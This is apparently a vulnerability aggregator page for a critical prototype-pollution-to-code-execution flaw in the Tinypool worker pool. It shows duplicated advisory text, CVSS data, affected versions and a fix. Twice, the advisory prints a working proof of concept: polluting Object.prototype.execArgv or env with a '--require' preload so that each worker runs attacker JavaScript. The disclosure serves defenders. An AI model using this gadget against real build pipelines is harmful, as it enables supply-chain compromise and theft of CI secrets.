Every CVE Search/ Get API key

CVE-2026-104848

Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution

9.5 CriticalFix available

Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.50%Unchanged since Oct 3, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.5

Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution

Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.

Record
CVE-2026-104848
CVSS 4.0
9.5 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Weakness
CWE-1321
Updated
2026-11-02
EUVDEUVD-2026-91718 9.5

Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.

Record
EUVD-2026-91718
CVSS 4.0
9.5 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-5gmw-xhrv-c9v3 9.5

Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution

tinypool passes worker options to new Worker() by reading them off a plain object whose prototype is Object.prototype. Options the application did not set are resolved through the prototype chain and then passed explicitly to worker_threads.Worker.

Node core ignores Worker options inherited from Object.prototype. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.

Two keys reach code execution:

  1. execArgv — polluting Object.prototype.execArgv = ['--require', '/path/to/attacker.js'] causes every pool worker to load the attacker's script.
  2. env — polluting Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' } achieves the same via environment injection.

Root cause

dist/index.js lines 508-511:

env:            this.options.env,
argv:           this.options.argv,
execArgv:       this.options.execArgv,
resourceLimits: this.options.resourceLimits,

this.options is built at line 470 via object spread:

this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

Impact

Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).

Proof of concept

Minimal reproduction (3 files):

worker.mjs — the application's own legitimate worker:

export default function double(n) { return n * 2 }

payload.js — attacker-controlled code (never referenced by the app):

const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')

app.js — normal tinypool usage:

const path = require('path')

// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]

const { Tinypool } = require('tinypool')
const pool = new Tinypool({
  filename: path.join(__dirname, 'worker.mjs'),
  minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
  console.log('pool returned:', r)  // 42 — app works normally
  pool.destroy()
})

Run:

npm i [email protected]
node app.js
cat /tmp/RCE_PROOF.txt   # attacker's code ran

Both execArgv and env vectors confirmed on Node 20.

Suggested fix

Resolve worker options with own-property semantics:

this.options = Object.assign(Object.create(null),
  kDefaultOptions, options, { filename, maxQueue: 0 });
Record
GHSA-5gmw-xhrv-c9v3
CVSS 4.0
9.5 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Weakness
CWE-1321
Updated
2026-11-02
NVD 9.5

Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.

Record
CVE-2026-104848
CVSS 4.0
9.5 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-1321
Updated
2026-11-02
OSV 9.5

Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution

Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.

Record
CVE-2026-104848
CVSS 4.0
9.5 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Weakness
CWE-1321
Updated
2026-11-02
OSVGHSA-5gmw-xhrv-c9v3 9.5

Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution

tinypool passes worker options to new Worker() by reading them off a plain object whose prototype is Object.prototype. Options the application did not set are resolved through the prototype chain and then passed explicitly to worker_threads.Worker.

Node core ignores Worker options inherited from Object.prototype. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.

Two keys reach code execution:

  1. execArgv — polluting Object.prototype.execArgv = ['--require', '/path/to/attacker.js'] causes every pool worker to load the attacker's script.
  2. env — polluting Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' } achieves the same via environment injection.

Root cause

dist/index.js lines 508-511:

env:            this.options.env,
argv:           this.options.argv,
execArgv:       this.options.execArgv,
resourceLimits: this.options.resourceLimits,

this.options is built at line 470 via object spread:

this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

Impact

Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).

Proof of concept

Minimal reproduction (3 files):

worker.mjs — the application's own legitimate worker:

export default function double(n) { return n * 2 }

payload.js — attacker-controlled code (never referenced by the app):

const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')

app.js — normal tinypool usage:

const path = require('path')

// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]

const { Tinypool } = require('tinypool')
const pool = new Tinypool({
  filename: path.join(__dirname, 'worker.mjs'),
  minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
  console.log('pool returned:', r)  // 42 — app works normally
  pool.destroy()
})

Run:

npm i [email protected]
node app.js
cat /tmp/RCE_PROOF.txt   # attacker's code ran

Both execArgv and env vectors confirmed on Node 20.

Suggested fix

Resolve worker options with own-property semantics:

this.options = Object.assign(Object.create(null),
  kDefaultOptions, options, { filename, maxQueue: 0 });
Record
GHSA-5gmw-xhrv-c9v3
CVSS 4.0
9.5 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Weakness
CWE-1321
Updated
2026-11-02
OSVCLSA-2026-1792490437 No score

TuxCare security update for tinypool (2 CVEs)

TuxCare rebuilt tinypool to address 2 CVEs. Fixed in 1.1.1-tuxcare.1.

Record
CLSA-2026-1792490437
Updated
2026-11-02
OSVCLSA-2026-1792490541 No score

TuxCare security update for tinypool (2 CVEs)

TuxCare rebuilt tinypool to address 2 CVEs. Fixed in 2.1.0-tuxcare.1.

Record
CLSA-2026-1792490541
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-104848 No score

CVE-2026-104848 in tinypool - Patched by Root

Root has patched CVE-2026-104848 in the tinypool package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-104848
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
tinypool
npm
through 2.1.0
2.1.1
tinypool
TuxCare:npm
From an advisory covering 2 CVEs
1.1.1-tuxcare.0 up to 1.1.1-tuxcare.1, plus listed versions
1.1.1
1.1.1-tuxcare.1
tinypool
TuxCare:npm
From an advisory covering 2 CVEs
2.1.0-tuxcare.0 up to 2.1.0-tuxcare.1, plus listed versions
2.1.0
2.1.0-tuxcare.1
tinypool
npm
before 2.1.1
2.1.1
tinypool
Root:npm
before 1.1.1-aikido.3
1.1.1-aikido.30.8.4-aikido.3
@rootio/tinypool
Root:npm
before 1.1.1-root.io.3
1.1.1-root.io.30.8.4-root.io.3

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-104848 is a critical vulnerability (CVSS 9.5) in Tinylibs Tinypool, published October 2, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.50%, the 42nd percentile. Fixed in tinypool 2.1.1.

References

MoveEnter Open